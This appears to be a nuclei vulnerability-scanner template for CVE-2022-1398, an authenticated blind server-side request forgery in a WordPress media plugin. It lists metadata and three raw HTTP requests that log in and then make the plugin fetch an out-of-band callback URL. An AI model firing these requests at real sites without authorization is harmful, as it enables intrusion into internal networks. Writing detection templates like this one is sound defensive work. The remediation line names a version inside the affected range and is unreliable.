nuclei-templates/http/cves/2022/CVE-2022-1398.yaml

62 lines
2.6 KiB
YAML

id: CVE-2022-1398
info:
name: External Media without Import <=1.1.2 - Authenticated Blind Server-Side Request Forgery
author: theamanrawat
severity: medium
description: |
WordPress External Media without Import plugin through 1.1.2 is susceptible to authenticated blind server-side request forgery. The plugin has no authorization and does not ensure that media added via URLs are external media, which can allow any authenticated users, including subscribers, to obtain sensitive information, modify data, and/or execute unauthorized administrative operations.
impact: |
Successful exploitation of this vulnerability could allow an attacker to bypass network restrictions, access internal resources, and potentially perform further attacks.
remediation: |
Upgrade to External Media without Import plugin version 1.1.2 or later.
reference:
- https://wpscan.com/vulnerability/5440d177-e995-403e-b2c9-42ceda14579e
- https://wordpress.org/plugins/external-media-without-import/
- https://nvd.nist.gov/vuln/detail/CVE-2022-1398
classification:
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N
cvss-score: 6.5
cve-id: CVE-2022-1398
cwe-id: CWE-918
epss-score: 0.00711
epss-percentile: 0.78239
cpe: cpe:2.3:a:external_media_without_import_project:external_media_without_import:*:*:*:*:*:wordpress:*:*
metadata:
verified: true
max-request: 3
vendor: external_media_without_import_project
product: external_media_without_import
framework: wordpress
tags: cve,cve2022,ssrf,wordpress,wp-plugin,wp,wpscan,external-media-without-import,authenticated,intrusive,external_media_without_import_project
http:
- raw:
- |
POST /wp-login.php HTTP/1.1
Host: {{Hostname}}
Content-Type: application/x-www-form-urlencoded
log={{username}}&pwd={{password}}&wp-submit=Log+In
- |
GET /wp-admin/upload.php HTTP/1.1
Host: {{Hostname}}
- |
POST /wp-admin/admin-post.php HTTP/1.1
Host: {{Hostname}}
Content-Type: application/x-www-form-urlencoded
urls=http%3A%2F%2F{{interactsh-url}}&width=&height=&mime-type=&action=add_external_media_without_import
matchers-condition: and
matchers:
- type: word
part: interactsh_protocol
words:
- http
- type: word
part: body_2
words:
- external-media-without-import
# digest: 4b0a00483046022100b9fa959089c77112aa23899ab29c752b0a8daa29aacc558e12527ebdc31ee07c022100fbf86a1b2b8911a6bd7be37ec47fc89892c662dc3860171318f52742883cf9d2:922c64590222798bb761d5b6d8e72950